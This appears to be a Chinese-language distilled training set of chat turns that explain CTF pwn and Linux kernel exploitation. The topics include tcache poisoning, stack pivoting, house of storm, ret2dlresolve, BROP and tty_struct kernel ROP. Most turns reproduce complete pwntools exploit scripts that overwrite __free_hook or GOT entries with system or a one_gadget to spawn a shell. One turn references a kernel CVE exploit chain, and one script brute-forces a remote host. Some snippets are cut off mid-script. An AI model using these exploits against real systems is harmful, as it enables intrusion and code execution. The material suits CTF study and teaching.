[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「tcache bin. Poison that OOB tcache entry to return __free_hook, then write system.」。
资料来源：Heap/2024ylb-ezheap/writeup.md；主题：2024ylb-ezheap；分类：heap。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
# tcache bin. Poison that OOB tcache entry to return __free_hook, then write system.
edit(p64(mp_))
delete(3)
delete(0)
add(0x500, p64(0) * 13 + p64(free_hook))
add(0x500, p64(system))


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「栈迁移」。
资料来源：stack.md；主题：栈利用；分类：stack。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
## 栈迁移

栈迁移可以说是比赛中栈利用部分考的最多的内容，栈迁移主要是为了解决栈溢出溢出空间大小不足的问题。

通过栈溢出将将栈中的ebp覆盖为fake_ebp-4（64位为fake_ebp-8，因为leave指令mov esp,ebp之后还有pop ebp使得esp增加），通过两次leave可以将esp的值改为fake_ebp，从而完成栈迁移，这样就可以在溢出空间不足的情况下构造完整的rop链。


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「完整 exploit」。
资料来源：Heap/off-by-one/2024ylb-null/WP.md；主题：2024ylb-null Writeup；分类：heap。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
## 完整 exploit

项目中已有 `exp.py`，核心 payload 如下：

```python
add(0, 0xF8)
add(1, 0x68)
add(2, 0xF8)
for i in range(3, 10):
    add(i, 0xF8)
add(12, 0x68)

for i in range(3, 10):
    delete(i)
delete(0)
delete(1)

add(1, 0x68)
edit(1, b"a" * 0x60 + p64(0x170))
delete(2)

add(0, 0x70)
add(2, 0x70)
show(1)
p.recvuntil(b"Content: ")
libcbase = u64(p.recvuntil("\x7f")[-6:].ljust(8, b"\x00")) - 0x3ebca0

add(3, 0x68)
free_hook = libcbase + libc.sym["__free_hook"]
system = libcbase + libc.sym["system"]

delete(3)
edit(1, p64(free_hook))
add(9, 0x68)
edit(9, b"/bin/sh\x00")
add(10, 0x68)
edit(10, p64(system))
delete(9)

p.interactive()
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「如果不能跨 cache reclaim」。
资料来源：Kernel/2026d3ctf-d3kheap2pro/README.md；主题：2026d3ctf-d3kheap2pro；分类：kernel。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### 如果不能跨 cache reclaim

更可能的路线是围绕模块自身 cache 做文章：

- 构造多个 slot 指向同一 object；
- 制造重复释放链；
- 观察 SLUB freelist 状态是否能被操纵；
- 尝试让同一对象被多次分配到不同 slot；
- 寻找是否可以通过 refcnt / slot 状态破坏形成进一步 primitive。


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「3. 伪造 FILE」。
资料来源：IO-FILE/house of apple2/2024ylb futureheap/WP.md；主题：2024ylb futureheap WP；分类：io_file。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
# 3. 伪造 FILE
payload  = p64(0) * 2 + p64(1) + p64(2)
payload  = payload.ljust(0x78, b"\x00") + p64(fortune + 0x4a0)
payload  = payload.ljust(0x90, b"\x00") + p64(fortune + 0x200)
payload  = payload.ljust(0xc8, b"\x00") + p64(libcbase + libc.sym["_IO_wfile_jumps"])
fix(1, payload)

IO-FILE/house of apple2/2024ylb futureheap/WP.md


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「再验证自定义 cache 是否隔离」。
资料来源：Kernel/2026d3ctf-d3kheap2pro/README.md；主题：2026d3ctf-d3kheap2pro；分类：kernel。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### 再验证自定义 cache 是否隔离

理论上，显式 `kmem_cache_create("d3kheap2pro_cache", 0x800, ...)` 创建的是独立 cache。

如果完全隔离，那么普通 `pipe_buffer`、`msg_msg`、`seq_operations`、`tty_struct` 等对象不一定能 reclaim 这个 object。

需要在 QEMU 中用调试方式确认：

- 打印 `kmem_cache_alloc/free` 返回地址；
- 查看 `/proc/slabinfo` 中 `d3kheap2pro_cache` 状态；
- 比较其他 spray 对象是否进入同一 cache。


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `IO-FILE/house of storm/2026ccb catchme/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`IO-FILE/house of storm/2026ccb catchme/exp.py`

分类：io_file

语言：python

环境/依赖线索：
- `from pwn import *`

函数/封装：
- `add`
- `clear`
- `cmd`
- `dbg`
- `delete`
- `edit`
- `pwn1`
- `pwn2`
- `pwn3`
- `show`

利用主题关键词：
- heap/tcache
- io-file/fsop

关键常量/偏移样例：
`0x4F302`, `0x3ebca0`

训练用代码片段：
```python
#!/usr/bin/env python3
from pwn import *

def dbg(c=0):
    if c:
        gdb.attach(io, c)
    else:
        gdb.attach(io)
        pause()

s = lambda data: io.send(data)
sa = lambda text, data: io.sendafter(text, data)
sl = lambda data: io.sendline(data)
sla = lambda text, data: io.sendlineafter(text, data)
r = lambda num=4096: io.recv(num)
rt = lambda x: io.recvuntil(x)
pr = lambda num=4096: print(io.recv(num))
ia = lambda: io.interactive()
ic = lambda: io.close()
l32 = lambda: u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
l64 = lambda: u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
uu32 = lambda: u32(io.recv(4).ljust(4, b'\x00'))
uu64 = lambda: u64(io.recv(6).ljust(8, b'\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: io.success('%s -> 0x%x' % (s, num))

elf = ELF('./catchme')
io = process([elf.path])
libc = ELF("libc-2.27.so")
context(os=elf.os, arch=elf.arch, log_level='debug')
context.terminal = ['cmd.exe', '/c', 'start', '""', 'wt.exe', 'wsl', '-e', 'bash', '-lc']

def cmd(choice):
    rt(">>")
    sl(str(choice))

def add(index):
    cmd(1)
    rt("(3)otter")
    s(str(index))

def delete(index):
    cmd(2)
    rt("index:")
    s(str(index))

def show(index):
    cmd(3)
    rt("index:")
    s(str(index))

def edit(index,content):
    cmd(4)
    rt("index:")
    s(str(index))
    rt("set tag:")
    s(content)

def clear(index):
    cmd(6)
    rt("index:")
    sl(str(index))

#我们一开始布局出现了失误，对于堆块合并忘了，后来又记起来了
def pwn1():
    global lib
    add(1)
    add(1)
    delete(0)
    show(0)
    rt("tag:")
    lib = u64(io.recv(6).ljust(8, b'\x00'))-0x3ebca0
    pr(lib)
    delete(1)
    clear(0)
    clear(1)
def pwn2():
    for i in range(7):
        add(3)
        delete(0)
        clear(0)

def pwn3():
    add(2)#0
    add(3)#1
    add(1)#2
    add(3)#3
    delete(2)
    delete(0)
    clear(0)
    #放入largebin
    add(2)#0
    #unsortedbin归位
    delete(0)
    fake_chunk = lib + libc.sym["__free_hook"] - 0x18
    edit(0,p64(fake_chunk))
    edit(2, p64(fake_chunk + 8) + p64(0) + p64(fake_chunk - 0x18 - 5))
    add(3)
    ogg = lib + 0x4F302
    edit(4, p64(ogg))
    gdb.attach(io)
    delete(4)
if __name__ == "__main__":
    pwn1()
    pwn2()
    pwn3()
    io.interactive()
```

IO-FILE/house of storm/2026ccb catchme/exp.py


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「（1）32位dl_resolve构造模板」。
资料来源：Stack/ret2dlresolve/dl_resolve_64/dl_resolve-any_gadget.md；主题：dl_resolve-any_gadget；分类：stack。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
#### （1）32位dl_resolve构造模板

	参见代码**stage6_original.py**

	漏洞代码：

```c
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void vuln()
{
    char buf[100];
    setbuf(stdin, buf);
    read(0, buf, 256);
}
int main()
{
    char buf[100] = "Welcome to XDCTF2015~!\n";

    setbuf(stdout, buf);
    write(1, buf, strlen(buf));
    vuln();
    return 0;
}
```

	利用步骤：

		1.控制`eip`为PLT[0]的地址，只需传递一个`index_arg`参数

		2.控制`index_arg`的大小，使`reloc`的位置落在可控地址内

		3.伪造`reloc`的内容，使`sym`落在可控地址内

		4.伪造`sym`的内容，使`name`落在可控地址内

		5.伪造`name`为任意库函数，如`system`

	利用第一阶段：

		把rop写入bss段，劫持栈并跳转过去。

```python
#!/usr/bin/python

from pwn import *
elf = ELF('bof')
offset = 112
read_plt = elf.plt['read']
write_plt = elf.plt['write']

ppp_ret = 0x08048619 # ROPgadget --binary bof --only "pop|ret"
pop_ebp_ret = 0x0804861b
leave_ret = 0x08048458 # ROPgadget --binary bof --only "leave|ret"

stack_size = 0x800
bss_addr = 0x0804a040 # readelf -S bof | grep ".bss"
base_stage = bss_addr + stack_size

r = process('./bof')

r.recvuntil('Welcome to XDCTF2015~!\n')
payload = 'A' * offset
payload += p32(read_plt) # 读100个字节到base_stage
payload += p32(ppp_ret)
payload += p32(0)
payload += p32(base_stage)
payload += p32(100)
payload += p32(pop_ebp_ret) # 把base_stage pop到ebp中
payload += p32(base_stage)
payload += p32(leave_ret) # mov esp, ebp ; pop ebp ;将esp指向base_stage
r.sendline(payload)
```

	利用第2阶段：

```python
cmd = "/bin/sh"
plt_0 = 0x08048380   # objdump -d -j .plt bof
rel_plt = 0x08048330 # objdump -s -j .rel.plt bof
index_offset = (base_stage + 28) - rel_plt # base_stage + 28指向fake_reloc，减去rel_plt即偏移
write_got = elf.got['write']
dynsym = 0x080481d8  #readelf -d bof     readelf -S bof
dynstr = 0x08048278
fake_sym_addr = base_stage + 36
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)# 这里的对齐操作是因为dynsym里的Elf32_Sym结构体都是0x10字节大小
fake_sym_addr = fake_sym_addr + align
index_dynsym = (fake_sym_addr - dynsym) / 0x10 # 除以0x10因为Elf32_Sym结构体的大小为0x10，得到write的dynsym索引号
r_info = (index_dynsym << 8) | 0x7
fake_reloc = p32(write_got) + p32(r_info)
st_name = (fake_sym_addr + 0x10) - dynstr   #fake_sym（Elf32_Sym结构体）大小0x10
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)

payload2 = 'AAAA'
payload2 += p32(plt_0)
payload2 += p32(index_offset)
payload2 += 'AAAA'
payload2 += p32(base_stage + 80)
payload2 += 'aaaa'
payload2 += 'aaaa'
payload2 += fake_reloc # (base_stage+28)的位置
payload2 += 'B' * align
payload2 += fake_sym # (base_stage+36)的位置
payload2 += "system\x00"
payload2 += 'A' * (80 - len(payload2))
payload2 += cmd + '\x00'
payload2 += 'A' * (100 - len(payload2))
r.sendline(payload2)
r.interactive()
```

	固定模板，需要修改所有出现的地址。

####（2）32位roputils库使用

	参见代码**stage6_roputils.py**

	代码如下：

```python
#!/usr/bin/python
#coding:utf-8

import roputils
from pwn import *
#只需确定文件名+溢出偏移。roputils.py文件要放到同一目录下
fpath = './bof'
offset = 112

rop = roputils.ROP(fpath)
addr_bss = rop.section('.bss')

buf = rop.retfill(offset)
buf += rop.call('read', 0, addr_bss, 100)
buf += rop.dl_resolve_call(addr_bss+20, addr_bss)

p=process(fpath)
print p.recv()
p.send(p32(len(buf)) + buf)

buf = rop.string('/bin/sh')
buf += rop.fill(20, buf)
buf += rop.dl_resolve_data(addr_bss+20, 'system')
buf += rop.fill(100, buf)

p.send(buf)
p.interactive()
```

####（3）32位执行libc任意gadget

	首先看看正常的Elf32_Sym结构（read）：

```c
typedef struct
{
    Elf32_Word st_name;     // Symbol name(string tbl index)  表示在.dynstr中的偏移
    Elf32_Addr st_value;    // Symbol value
    Elf32_Word st_size;     // Symbol size
    unsigned char st_info;  // Symbol type and binding
    unsigned char st_other; // Symbol visibility under glibc>=2.2
    Elf32_Section st_shndx; // Section index
} Elf32_Sym;
```

	如下可见read函数的结构的值和参数意义：

[图片: JMPREL-SYMTAB]

[图片: JMPREL-SYMTAB2]

	目标：执行libc-2.23.so中的gadget 0x8fa05 : cmp byte ptr [eax], dl ; pop edi ; ret。

	方法：伪造symtab条目，对比可知：

> fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)
>
> fake_sym = p32(0) + p32(fake_st_value) + p32(0) + p32(0x__1__12)

		libc.symbos['__libc_start_main']=0x18540

		fake_st_value=0x8fa05-0x18540=0x774C5

		fake_link_map=elf.got['__libc_start_main']=0x0804A018

		st_name不需要管。

	问题：如何伪造link_map?

		伪造的link_map地址是libc_start_main的GOT表地址。通过跟踪dl_fixup 函数发现，dl_fixup引用了link_map+0x34/0x38/0x7c处的3个值来寻找STRTAB/SYMTAB/JMPREL这3个表。

	解决：提前往link_map+0x34/0x38/0x7c写入有效值。

		有两种方法：

#####方法1——3个值不变

	代码可参考**stage6_libc1.py**。

	其实就是 x/100xw  GOT[4]即可发现3个偏移处原本的值，利用read把3个值写到对应偏移处。

#####[图片: success1]

#####方法2——3个值构造

	代码可参考**stage6_libc2.py**。

	把link_map+0x34/0x38/0x7c处的值记作val_0x34，val_0x38，val_0x7c，也即[link_map+0x34/0x38/0x7c]。跟踪发现，是这样寻找的：

> [val_0x34+4]==STRTAB    dynstr
>
> [val_0x38+4]==SYMTAB   dynsym
>
> [val_0x7c+4]==JMPREL      rel_plt

 	可以把dynstr、dynsym、rel_plt这3个地址都设置为同一个值base_stage（val_0x34=val_0x38=val_0x7c=base_stage+80-4，[base_stage+80]=base_stage），这样布置bss段伪造栈就更简洁。


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「例题」。
资料来源：stack.md；主题：栈利用；分类：stack。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### 例题

题目：[BUUCTF在线评测](https://buuoj.cn/challenges#axb_2019_brop64)

接下来我们通过一道例题来进行 BROP 的学习。

axb_2019_brop64

- 爆破缓冲区长度

根据上面的思路，我们编写枚举爆破的脚本来爆破缓冲区长度。

```
#!/usr/bin/env python3
from pwn import *
import time

sc=b'Please tell me:'
xy=b'Goodbye!'

def GetSize():
    i = 1
    while True:
        try:
            io=remote("node5.buuoj.cn",25820)
            io.recvuntil(sc)  # 等待特定的提示信息
            io.send(i * b'a')
            time.sleep(0.1) #缓冲一下要不然程序容易gg
            data = io.recv()
            io.close()
            # 如果接收到的数据不包含指定数据，则说明我们已经找到了正确的缓冲区长度
            if xy not in data:
                return i-1
            else:
                i += 1
        except EOFError:
            io.close()
            return i-1


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `Heap/chunk Extend and Overlapping/hitcontraning_lab13/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`Heap/chunk Extend and Overlapping/hitcontraning_lab13/exp.py`

分类：heap

语言：python

环境/依赖线索：
- `from pwn import *`

函数/封装：
- `create`
- `delete`
- `edit`
- `show`

利用主题关键词：
- seccomp/orw

关键常量/偏移样例：
`0x602018`

训练用代码片段：
```python
#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

r = process('./heapcreator')
heap = ELF('./heapcreator')
libc = ELF('./libc.so.6')

def create(size, content):
    r.recvuntil(":")
    r.sendline("1")
    r.recvuntil(":")
    r.sendline(str(size))
    r.recvuntil(":")
    r.sendline(content)

def edit(idx, content):
    r.recvuntil(":")
    r.sendline("2")
    r.recvuntil(":")
    r.sendline(str(idx))
    r.recvuntil(":")
    r.sendline(content)

def show(idx):
    r.recvuntil(":")
    r.sendline("3")
    r.recvuntil(":")
    r.sendline(str(idx))

def delete(idx):
    r.recvuntil(":")
    r.sendline("4")
    r.recvuntil(":")
    r.sendline(str(idx))

free_got = 0x602018
create(0x18, "dada")  # 0
create(0x10, "ddaa")  # 1

edit(0, "/bin/sh\x00" + "a" * 0x10 + "\x41")

delete(1)

create(0x30, p64(0) * 4 + p64(0x30) + p64(heap.got['free']))  #1

show(1)
r.recvuntil("Content : ")
data = r.recvuntil("Done !")

free_addr = u64(data.split("\n")[0].ljust(8, "\x00"))
libc_base = free_addr - libc.symbols['free']
log.success('libc base addr: ' + hex(libc_base))
system_addr = libc_base + libc.symbols['system']
#gdb.attach(r)
# overwrite free@got with system addr
edit(1, p64(system_addr))
# trigger system("/bin/sh")
delete(0)
r.interactive()
```

Heap/chunk Extend and Overlapping/hitcontraning_lab13/exp.py


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「kernelXDK」。
资料来源：Kernel/CVE-2026-53362_lts/docs/exploit.md；主题：Exploit；分类：kernel。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### kernelXDK

The source embeds `exploit/lts-6.12.85/target_db.kxdb`, initializes
`TargetDb`, and registers the two target values used by the physical scan. It
uses `AutoDetectTarget()` with an explicit fallback and retrieves the values
through `GetSymbolOffset()`. The Makefile compiles the source as C++ against
`exploit/lts-6.12.85/libxdk-v0.1/` and links `-lkernelXDK`; no ROP-related
libxdk API is needed by this data-only chain.


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `Kernel/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/payloads/RopChain.h` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`Kernel/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/payloads/RopChain.h`

分类：kernel

语言：c

环境/依赖线索：
- `#include <cstdint>`
- `#include <vector>`
- `#include <xdk/target/Target.h>`

利用主题关键词：
- io-file/fsop
- seccomp/orw
- stack/rop

训练用代码片段：
```c
/*
 * Copyright 2025 Google LLC
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *     http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

#pragma once

#include <cstdint>
#include <vector>
#include <xdk/target/Target.h>

/**
 * @defgroup payloads_classes Payloads Classes
 * @brief Classes for generating and managing payloads.
 */

// Forward declarations for types used in the header if their full definitions
// are not strictly needed (e.g., if only pointers/references are used),
// but in this case, the full definitions are likely needed due to value types.
// struct RopAction; // Already fully defined below
// class Target; // Already fully defined below

/**
 * @ingroup payloads_classes
 * @brief Represents a single ROP (Return-Oriented Programming) action.
 *
 * A RopAction is a sequence of 64-bit values that form part of a ROP chain.
 * These values can represent addresses, immediate data, or arguments for gadgets.
 */
struct RopAction {
    /**
     * @brief The sequence of 64-bit values comprising this ROP action.
     */
    std::vector<uint64_t> values;
};

/**
 * @ingroup payloads_classes
 * @class RopChain
 * @brief Manages an ordered sequence of ROP actions to form a ROP chain.
 *
 * The RopChain class allows for the construction of complex ROP chains
 * by adding individual ROP actions or raw 64-bit values. It handles
 * KASLR (Kernel Address Space Layout Randomization) offsets and
 * argument substitution for actions defined by a Target.
 */
class RopChain {
public:
    /**
     * @brief Constructs a new RopChain.
     * @param target A reference to the Target object which provides definitions for ROP actions.
     * @param kaslr_base The base address for KASLR, used to adjust symbol addresses.
     */
    RopChain(Target &target, uint64_t kaslr_base);

    /**
     * @brief Adds a predefined ROP action to the chain.
     *
     * This method retrieves the sequence of ROP items for a given action ID
     * from the associated Target and constructs a RopAction, substituting
     * arguments and applying KASLR offsets where necessary.
     *
     * @param id The ID of the ROP action to add.
     * @param arguments A vector of 64-bit arguments to substitute into the action.
     * The index of an argument in this vector corresponds to its
     * `item.value` when `item.type == RopItemType::ARGUMENT`.
     * @throw ExpKitError If an unexpected RopAction item type is encountered or
     * if there are not enough arguments provided for an action.
     */
    void AddRopAction(RopActionId id, std::vector<uint64_t> arguments = {});

    /**
     * @brief Adds a raw 64-bit item directly to the ROP chain as a single-value action.
     *
     * This is useful for adding arbitrary values (e.g., stack pivots, return addresses,
     * or immediate values) that are not part of a predefined RopAction.
     *
     * @param item The 64-bit value to add.
     * @param offset If true, the `kaslr_base_` will be added to the item.
     * Defaults to false.
     */
    void Add(uint64_t item, bool offset = false);

    /**
     * @brief Retrieves the entire ROP chain as a vector of bytes.
     *
     * The 64-bit items in the chain are converted to a contiguous byte array.
     * This is useful for writing the ROP chain directly to memory or a file.
     *
     * @return A `std::vector<uint8_t>` representing the ROP chain in byte format.
     */
    std::vector<uint8_t> GetData() const;

    /**
     * @brief Retrieves the entire ROP chain as a vector of 64-bit words.
     *
     * This method collects all individual 64-bit values from the sequence of
     * RopActions into a single flat vector.
     *
     * @return A `std::vector<uint64_t>` representing the ROP chain as 64-bit words.
     */
    std::vector<uint64_t> GetDataWords() const;

    /**
     * @brief Calculates the total size of the ROP chain in bytes.
     * @return The total size of the ROP chain in bytes.
     */
    uint64_t GetByteSize() const;

    /**
     * @brief Retrieves the list of individual RopAction objects that compose this chain.
     * @return A `std::vector<RopAction>` containing all added ROP actions.
     */
    std::vector<RopAction> GetActions() const;

    /**
     * @brief The KASLR base address used for symbol offsetting.
     */
    uint64_t kaslr_base_;

    /**
     * @brief Stores the ordered sequence of ROP actions.
     */
    std::vector<RopAction> actions_;

private:
    /**
     * @brief A reference to the Target object, providing definitions for ROP actions.
     */
    Target& target_;
};
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「通过tty_struct自身进行kROP实现RIP劫持」。
资料来源：Kernel/QWB2018-core/tty_struct.md；主题：tty_struct；分类：kernel。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### 通过tty_struct自身进行kROP实现RIP劫持

这是本文档的主要部分，也是理解这个结构体对漏洞利用如此珍贵的地方。

假设你对`tty_struct`至少有0x200字节的顺序写原语。基本上，你可以通过覆盖`tty_struct.ops`来获得RIP控制。但要注意，不要破坏`tty_struct.magic`，否则`tty_ioctl()`会在跳转到`tty_struct.ops`之前直接返回。另外，仅仅跳转到任意地址在很多情况下不足以控制RIP，这是由于KPTI机制。如果启用了KPTI，你无法执行用户land的自己的程序。你可能需要进行栈迁移。而这个结构体非常适合做栈迁移。

你需要做的是在堆上准备ROP链，然后执行栈迁移。但是内核镜像中可能不存在`mov rsp, <任意值>`这样有用的gadget。所以我们需要在实际ROP之前进行一次"预ROP"！而这次预ROP只能在`tty_struct`内部完成！

下面，假设我们拥有对`tty_struct`前0x200字节的顺序写原语。首先，你需要写入QWORD值0x5401来绕过`tty_ioctl()`中的安全检查。然后，在`ops`位置（`tty_struct+0x18`）写入一个fake vtable的地址，该vtable包含你想要执行的gadget地址。你可以把这个vtable写在`tty_struct`自身内部，比如在`+0x50`处。据我所知，`tty_struct`是一个健壮的结构体，即使破坏其中的某些数据也不会导致内核oops。所以你可以在`tty_struct`中任意写入数据而不会有问题。唯一的例外是`magic`必须是0x5401，且`driver`必须是有效的堆地址。但这两者都可以绕过（后者下面会说明）。

`tty_ioctl()`会跳转到你在fake vtable的`+0x50`处写入的gadget地址。这种情况下最好的gadget是`leave`。这是因为在跳转之后RBP正好指向`tty_struct`自身。所以`leave`会执行`mov rsp, rbp`和`pop rbp`，使得RSP指向`tty_struct`的顶部，并使RBP变成`magic|kref`。执行`leave`后，由于RSP现在指向`tty_struct`，返回地址就变成了这个gadget的返回地址。所以你可以在`dev`位置（`+0x08`）写入gadget的地址作为返回地址。这样，`leave`返回后会pop `dev`的值作为RSP。你可以在`driver`位置（`+0x10`）写入新的栈地址，并在`+0x170`处写入实际的ROP链。注意，`driver`必须是有效的堆地址才能避免内核oops，但你可以通过双阶段ROP启动来绕过这个限制！

```
struct tty_struct {
  +000: magic, kref : 0x5401
  +008: dev;        : `pop rsp` gadget (leave的返回地址)
  +010: driver;     : &tty_struct + 0x170 (被`pop rsp`使用) (必须是有效的内核堆地址)
  +018: ops;        : &tty_struct + 0x50
  +020: index;
  ...
  +050:             : fake vtable (size=0x120) (指向`leave` gadget)
  ...
  +170:             : 实际ROP链
  ...
}
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `Stack/ret2dlresolve/dl_resolve_64/32位/stage6_libc1.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`Stack/ret2dlresolve/dl_resolve_64/32位/stage6_libc1.py`

分类：stack

语言：python

环境/依赖线索：
- `from pwn import *`

利用主题关键词：
- seccomp/orw
- stack/rop

关键常量/偏移样例：
`0x112`, `0x800`, `0x18540`, `0x774C5`, `0x8fa05`, `0x080481d8`, `0x08048278`, `0x08048330`, `0x08048380`, `0x08048458`, `0x08048619`, `0x0804861b`, `0x08049f54`, `0x08049f5c`, `0x08049f94`, `0x0804a040`

训练用代码片段：
```python
#!/usr/bin/python
#coding:utf-8

from pwn import *
elf = ELF('bof')

offset = 112
read_plt = elf.plt['read']
write_plt = elf.plt['write']

ppp_ret = 0x08048619 # ROPgadget --binary bof --only "pop|ret"
pop_ebp_ret = 0x0804861b
leave_ret = 0x08048458 # ROPgadget --binary bof --only "leave|ret"

stack_size = 0x800
bss_addr = 0x0804a040 # readelf -S bof | grep ".bss"
base_stage = bss_addr + stack_size

#x/100xw  GOT[4]
fake_link_map=elf.got['__libc_start_main']    #change!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
fake_st_value=0x774C5
val_0x34=0x08049f54
val_0x38=0x08049f5c
val_0x7c=0x08049f94
wait_time=0.1

r = process('bof')

r.recvuntil('Welcome to XDCTF2015~!\n')
payload = 'A' * offset
payload += p32(read_plt)
payload += p32(ppp_ret)
payload += p32(0)
payload += p32(fake_link_map+0x34)
payload += p32(8)
payload += p32(read_plt)
payload += p32(ppp_ret)
payload += p32(0)
payload += p32(fake_link_map+0x7c)
payload += p32(4)
payload += p32(read_plt)
payload += p32(ppp_ret)
payload += p32(0)
payload += p32(base_stage)
payload += p32(100)
payload += p32(pop_ebp_ret)
payload += p32(base_stage)
payload += p32(leave_ret)
#print 'length of payload=',hex(len(payload))
#raw_input('wait')
r.sendline(payload)

sleep(wait_time)
r.send(p32(val_0x34)+p32(val_0x38))
sleep(wait_time)
r.send(p32(val_0x7c))
sleep(wait_time)

gdb.attach(r,'b *0x08048458')
plt_0 = 0x08048380 # objdump -d -j .plt bof
plt_1=plt_0+6
rel_plt = 0x08048330 # objdump -s -j .rel.plt bof
index_offset = (base_stage + 28) - rel_plt # base_stage + 28指向fake_reloc，减去rel_plt即偏移
write_got = elf.got['write']
dynsym = 0x080481d8 #readelf -S bof
dynstr = 0x08048278
fake_sym_addr = base_stage + 36
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)# 这里的对齐操作是因为dynsym里的Elf32_Sym结构体都是0x10字节大小
fake_sym_addr = fake_sym_addr + align
index_dynsym = (fake_sym_addr - dynsym) / 0x10
r_info = (index_dynsym << 8) | 0x7
fake_reloc = p32(write_got) + p32(r_info)
